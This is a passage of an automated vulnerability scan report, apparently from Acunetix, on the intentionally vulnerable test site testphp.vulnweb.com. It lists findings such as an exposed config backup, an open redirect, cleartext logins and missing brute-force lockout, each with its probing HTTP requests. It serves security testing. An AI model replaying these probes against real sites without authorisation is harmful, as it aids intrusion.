  if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) {
    document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }}
  else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.re ...
```

Request headers

```
GET /index.bak HTTP/1.1
Range: bytes=0-99999
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/pictures/wp-config.bak

Details

This file was found using the pattern .
Original filename:
Pattern found:

```
<?php

// ** MySQL settings ** //

define('DB_NAME', 'wp265as');    // The name of the database

define('DB_USER', 'root');     // Your MySQL username

define('DB_PASSWORD', ''); // ...and password

define('DB_HOST', 'localhost');    // 99% chance you won't need to change this value

define('DB_CHARSET', 'utf8');

define('DB_COLLATE', '');



// Change each KEY to a different unique phrase.  You won't have to remember the phrases lat
er,

// so make them long and complicated.  You can visit http://api.wordpress.org/secret-key/1.1
/

// to get keys generated for you, or just make something up.  Each key should have a differe
nt phrase.

define('AUTH_KEY', 'put your unique phrase here'); // Change this to a unique phrase.

define('SECURE_AUTH_KEY', 'put your unique phrase here'); // Change this to a unique phrase.

define('LOGGED_IN_KEY', 'put your unique phrase here'); // Change this to a unique phrase.



// You can have multiple installations in one database if you give each a unique prefix

$table_prefix  = 'w ...
```

Request headers

```
GET /pictures/wp-config.bak HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

URL redirection

Severity	**Medium**
Reported by module	Scripting (XFS_and_Redir.script)

Description

This script is possibly vulnerable to URL redirection attacks.

URL redirection is sometimes used as a part of phishing attacks that confuse visitors about which web site they are visiting.

Impact

A remote attacker can redirect users from your website to a specified URL. This problem may assist an attacker to conduct phishing attacks, trojan distribution, spammers.

Recommendation

Your script should properly sanitize user input.

References

Unvalidated Redirects and Forwards Cheat Sheet
(https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet)
HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
(http://packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf)

Affected items

/redir.php
Details
URL encoded GET input **r** was set to **http://www.vulnweb.com**
Request headers

```
GET /redir.php?r=http://www.vulnweb.com HTTP/1.1
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

User credentials are sent in clear text

Severity	**Medium**
Reported by module	Crawler

Description

User credentials are transmitted over an unencrypted channel. This information should always be transferred via an encrypted channel (HTTPS) to avoid being intercepted by malicious users.

Impact

A third party may be able to read the user credentials by intercepting an unencrypted HTTP connection.

Recommendation

Because user credentials are considered sensitive information, should always be transferred to the server over an encrypted connection (HTTPS).

Affected items

/login.php
Details
Form name: loginform Form action: http://testphp.vulnweb.com/userinfo.php Form method: POST Form inputs: • uname [Text] • pass [Password]

Request headers

```
GET /login.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: filelist;aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/signup.php

Details

Form name: form1
Form action: http://testphp.vulnweb.com/secured/newuser.php
Form method: POST

Form inputs:

- uuname [Text]
- upass [Password]
- upass2 [Password]
- urname [Text]
- ucc [Text]
- uemail [Text]
- uphone [Text]
- uaddress [TextArea]
- signup [Submit]

Request headers

```
GET /signup.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/login.php
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

WS_FTP log file found

Severity	**Medium**
Reported by module	Scripting (WS_FTP_log_file.script)

Description

WS_FTP is a popular FTP client. This application creates a log file named WS_FTP.LOG. This file contains sensitive data such as file source/destination and file name, date/time of upload etc.

Impact

This file may expose sensitive information that may help an malicious user to prepare more advanced attacks.

Recommendation

Remove this file from your website or change its permissions to remove access.

References

ws_ftp.log (http://archives.neohapsis.com/archives/fulldisclosure/2004-08/0663.html)

Affected items

/pictures/WS_FTP.LOG
Details
Pattern found: `103.05.06 13:17`
Request headers

`GET /pictures//WS_FTP.LOG HTTP/1.1`
`Cookie: mycookie=3`
`Host: testphp.vulnweb.com`
`Connection: Keep-alive`
`Accept-Encoding: gzip,deflate`
`User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21`
`Accept: */*`

Clickjacking: X-Frame-Options header missing

Severity	**Low**
Reported by module	Scripting (Clickjacking_X_Frame_Options.script)

Description

Clickjacking (User Interface redress attack, UI redress attack, UI redressing) is a malicious technique of tricking a Web user into clicking on something different from what the user perceives they are clicking on, thus potentially revealing confidential information or taking control of their computer while clicking on seemingly innocuous web pages.

The server didn't return an **X-Frame-Options** header which means that this website could be at risk of a clickjacking attack. The X-Frame-Options HTTP response header can be used to indicate whether or not a browser should be allowed to render a page inside a frame or iframe. Sites can use this to avoid clickjacking attacks, by ensuring that their content is not embedded into other sites.

Impact

The impact depends on the affected web application.

Recommendation

Configure your web server to include an X-Frame-Options header. Consult Web references for more information about the possible values for this header.

References

The X-Frame-Options response header (https://developer.mozilla.org/en-US/docs/HTTP/X-Frame-Options)
Clickjacking (http://en.wikipedia.org/wiki/Clickjacking)
OWASP Clickjacking (https://www.owasp.org/index.php/Clickjacking)
Defending with Content Security Policy frame-ancestors directive (https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet#Defending_with_Content_Security_Policy_frame-ancestors_directive)
Frame Buster Buster (http://stackoverflow.com/questions/958997/frame-buster-buster-buster-code-needed)

Affected items

Web Server
Details
Request headers
`GET / HTTP/1.1`

```
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

Hidden form input named price was found

Severity	**Low**
Reported by module	Crawler

Description

A hidden form input named price was found. It's not recommended to hide sensitive information in hidden form fields.

Impact

User may change price information before submitting the form.

Recommendation

Check if the script inputs are properly validated.

Affected items

/product.php
Details
Form name: f_addcart Form action: http://testphp.vulnweb.com/cart.php Form method: POST Form inputs: • price [Hidden] • addcart [Hidden]
Request headers

```
GET /product.php?pic=2 HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/search.php
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

Login page password-guessing attack

Severity	**Low**
Reported by module	Scripting (Html_Authentication_Audit.script)

Description

A common threat web developers face is a password-guessing attack known as a brute force attack. A brute-force attack is an attempt to discover a password by systematically trying every possible combination of letters, numbers, and symbols until you discover the one correct combination that works.

This login page doesn't have any protection against password-guessing attacks (brute force attacks). It's recommended to implement some type of account lockout after a defined number of incorrect password attempts. Consult Web references for more information about fixing this problem.

Impact

An attacker may attempt to discover a weak password by systematically trying every possible combination of letters, numbers, and symbols until it discovers the one correct combination that works.

Recommendation

It's recommended to implement some type of account lockout after a defined number of incorrect password attempts.

References

Blocking Brute Force Attacks (http://www.owasp.org/index.php/Blocking_Brute_Force_Attacks)

Affected items

/userinfo.php
Details
The scanner tested 10 invalid credentials and no account lockout was detected.
Request headers

```
POST /userinfo.php HTTP/1.1
Content-Length: 28
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
pass=rkjexMYs&uname=CSwTg8O8
```

MySQL username disclosure

Severity	**Low**
Reported by module	Scripting (Text_Search_File.script)

Description

For a client program to be able to connect to the MySQL server, it must use the proper connection parameters, such as the name of the host where the server is running and the user name and password of your MySQL account.

When the connection to the database cannot be established, the server returns an error message including the MySQL username and host that were used. This information should not be present on a production system.

Impact

This file may disclose sensitive information. This information can be used to launch further attacks.

Recommendation

Make sure the MySQL connection can be established and configure PHP not to display error messages.

Affected items

/Connections/DB_Connection.php
Details
Pattern found:

```
Access denied for user 'root'@'localhost' (using password: NO)
```

Request headers

```
GET /Connections/DB_Connection.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/secured/database_connect.php

Details

Pattern found:

```
Access denied for user 'wauser'@'localhost' (using password: NO)
```

Request headers

```
GET /secured/database_connect.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

Possible sensitive directories

Severity	**Low**
Reported by module	Scripting (Possible_Sensitive_Directories.script)

Description

A possible sensitive directory has been found. This directory is not directly linked from the website.This check looks for common sensitive resources like backup directories, database dumps, administration pages, temporary directories. Each one of these directories could help an attacker to learn more about his target.

Impact

This directory may expose sensitive information that could help a malicious user to prepare more advanced attacks.

Recommendation

Restrict access to this directory or remove it from the website.

References

Web Server Security and Database Server Security (http://www.acunetix.com/websitesecurity/webserver-security/)

Affected items

/admin

Details

Request headers

```
GET /admin HTTP/1.1
Accept: acunetix/wvs
Range: bytes=0-99999
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
```

/CVS

Details

Request headers

```
GET /CVS HTTP/1.1
Accept: acunetix/wvs
Range: bytes=0-99999
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
```

/secured

Details

Request headers

```
GET /secured HTTP/1.1
Accept: acunetix/wvs
Range: bytes=0-99999
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
```

Possible virtual host found

Severity	**Low**
Reported by module	Scripting (VirtualHost_Audit.script)

Description

Virtual hosting is a method for hosting multiple domain names (with separate handling of each name) on a single server (or pool of servers). This allows one server to share its resources, such as memory and processor cycles, without requiring all services provided to use the same host name.

This web server is responding differently when the Host header is manipulated and various common virtual hosts are tested. This could indicate there is a Virtual Host present.

Impact

Possible sensitive information disclosure.

Recommendation

Consult the virtual host configuration and check if this virtual host should be publicly accessible.

References

Virtual hosting (http://en.wikipedia.org/wiki/Virtual_hosting)

Affected items

Web Server
Details
Virtual host: **localhost** Response: `<!DOCTYPE html>` `<html>` `<head>` `<title>Welcome to nginx!</title>` `<style>` `body {` `width: 35em;` `margin: 0 auto;` `font-family: Tahoma, Verdana, Arial, sans-serif;` `}` `</style>` `</head>` `<body>` `<h1>Welcome to nginx!</h1>` `<p>If you see this page, the nginx web server is successfully installed and` `working. Further configuration is required.</p>` `<p>For online documentation and support please refer to` `<a href="http://nginx.org/">nginx.org</a>. ` `Commercial support is available at` `<a href`
Request headers

Broken links

Severity	**Informational**
Reported by module	Crawler

Description

A broken link refers to any link that should take you to a document, image or webpage, that actually results in an error. This page was linked from the website but it is inaccessible.

Impact

Problems navigating the site.

Recommendation

Remove the links to this file or make it accessible.

Affected items

/privacy.php
Details
For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.
Request headers

`GET /privacy.php HTTP/1.1`
`Pragma: no-cache`
`Cache-Control: no-cache`
`Referer: http://testphp.vulnweb.com/`

```
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: filelist;aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/Mod_Rewrite_Shop/Details/color-printer/3

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

```
GET /Mod_Rewrite_Shop/Details/color-printer/3/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/color-printer/3
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/Mod_Rewrite_Shop/Details/web-camera-a4tech/2

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

```
GET /Mod_Rewrite_Shop/Details/web-camera-a4tech/2/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/web-camera-a4tech/2
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/Mod_Rewrite_Shop/Details/network-attached-storage-dlink/1

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

```
GET /Mod_Rewrite_Shop/Details/network-attached-storage-dlink/1/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/network-attached-storage-
dlink/1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
```

```
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/medias/css/main.css

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

```
GET /medias/css/main.css HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/pictures/path-disclosure-unix.html
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/medias/js/common_functions.js

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

```
GET /medias/js/common_functions.js HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/pictures/path-disclosure-unix.html
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/secured/office_files/filelist.xml

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

```
GET /secured/office_files/filelist.xml HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/secured/office.htm
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

Email address found

Severity	**Informational**
Reported by module	Scanner

Description

One or more email addresses have been found on this page. The majority of spam comes from email addresses harvested off the internet. The spam-bots (also known as email harvesters and email extractors) are programs that scour the internet looking for email addresses on any website they come across. Spambot programs look for strings like myname@mydomain.com and then record any addresses found.

Impact

Email addresses posted on Web sites may attract spam.

Recommendation

Check references for details on how to solve this problem.

References

Anti-spam techniques (https://en.wikipedia.org/wiki/Anti-spam_techniques)

Affected items

Web Server
Details
List of all email addresses found on this host. • **license@php.net** /secured/ • **root@dessler.cse.buffalo.edu** /secured/ • **root@localhost.localdomain** /secured/ • **wasp@acunetix.com** / • **wvs@acunetix.com** /, /Templates/
Request headers

Microsoft Office possible sensitive information

Severity	**Informational**
Reported by module	Scripting (Text_Search_File.script)

Description

This document has been converted to HTML using Microsoft Office. It seems that Office has included sensitive information during the conversion.

Impact

Possible sensitive information disclosure that may help an attacker to conduct social engineering attacks.

Recommendation

Inspect the source code of this document and remove the sensitive information.

References

iMPERVA Source Code Disclosure (http://www.imperva.com/resources/glossary?term=source_code_disclosure)

Affected items

/secured/office.htm

Details

Pattern found:

```
<o:DocumentProperties>

  <o:Author>Acunetix</o:Author>

  <o:LastAuthor>Acunetix</o:LastAuthor>

  <o:Revision>1</o:Revision>

  <o:TotalTime>0</o:TotalTime>

  <o:Created>2005-04-05T11:44:00Z</o:Created>

  <o:LastSaved>2005-04-05T11:44:00Z</o:LastSaved>

  <o:Pages>1</o:Pages>

  <o:Words>5</o:Words>

  <o:Characters>30</o:Characters>

  <o:Company>Acunetix</o:Company>

  <o:Lines>1</o:Lines>

  <o:Paragraphs>1</o:Paragraphs>

  <o:CharactersWithSpaces>34</o:CharactersWithSpaces>

  <o:Version>11.6360</o:Version>

 </o:DocumentProperties>
```

Request headers

```
GET /secured/office.htm HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

Password type input with auto-complete enabled

Severity	**Informational**
Reported by module	Crawler

Description

When a new name and password is entered in a form and the form is submitted, the browser asks if the password should be saved.Thereafter when the form is displayed, the name and password are filled in automatically or are completed as the name is entered. An attacker with local access could obtain the cleartext password from the browser cache.

Impact

Possible sensitive information disclosure.

Recommendation

The password auto-complete should be disabled in sensitive applications.
To disable auto-complete, you may use a code similar to:

```
<INPUT TYPE="password" AUTOCOMPLETE="off">
```

Affected items

/login.php
Details
Password type input(s): **pass** from form named **loginform** with action **userinfo.php** have autocomplete enabled.
Request headers

```
GET /login.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: filelist;aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/signup.php
Details
Password type input(s): **upass,upass2** from form named **form1** with action **/secured/newuser.php** have autocomplete enabled.
Request headers

```
GET /signup.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/login.php
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

Possible internal IP address disclosure

Severity	**Informational**
Reported by module	Scripting (Text_Search_File.script)

Description

A string matching an internal IPv4 address was found on this page. This may disclose information about the IP addressing scheme of the internal network. This information can be used to conduct further attacks.

This alert may be a false positive, manual confirmation is required.

Impact

Possible sensitive information disclosure.

Recommendation

Prevent this information from being displayed to the user.

Affected items

/404.php

Details

Pattern found:

```
192.168.0.28
```

Request headers

```
GET /404.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/pictures/ipaddresses.txt

Details

Pattern found:

```
192.168.0.26
```

Request headers

```
GET /pictures/ipaddresses.txt HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/secured/phpinfo.php

Details

Pattern found:

```
192.168.0.5
```

Request headers

```
GET /secured/phpinfo.php HTTP/1.1
```

```
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

Possible server path disclosure (Unix)

Severity	**Informational**
Reported by module	Scripting (Text_Search_File.script)

Description

One or more fully qualified path names were found on this page. From this information the attacker may learn the file system structure from the web server. This information can be used to conduct further attacks.

This alert may be a false positive, manual confirmation is required.

Impact

Possible sensitive information disclosure.

Recommendation

Prevent this information from being displayed to the user.

References

Full Path Disclosure (https://www.owasp.org/index.php/Full_Path_Disclosure)

Affected items

/pictures/path-disclosure-unix.html

Details

Pattern found:

```
/usr/local/etc/httpd/htdocs2/destination
```

Request headers

```
GET /pictures/path-disclosure-unix.html HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/secured/phpinfo.php

Details

Pattern found:

```
/usr/obj/usr/src/sys/GENERIC
```

Request headers

```
GET /secured/phpinfo.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

Possible username or password disclosure

Severity	**Informational**
Reported by module	Scripting (Text_Search_File.script)

Description

A username and/or password was found in this file. This information could be sensitive.

This alert may be a false positive, manual confirmation is required.

Impact

Possible sensitive information disclosure.

Recommendation

Remove this file from your website or change its permissions to remove access.

Affected items

/Connections/DB_Connection.php

Details

Pattern found:

```
password: NO
```

Request headers

```
GET /Connections/DB_Connection.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/pictures/credentials.txt

Details

Pattern found:

```
password=something
```

Request headers

```
GET /pictures/credentials.txt HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/secured/database_connect.php

Details

Pattern found:

```
password: NO
```

Request headers

```
GET /secured/database_connect.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

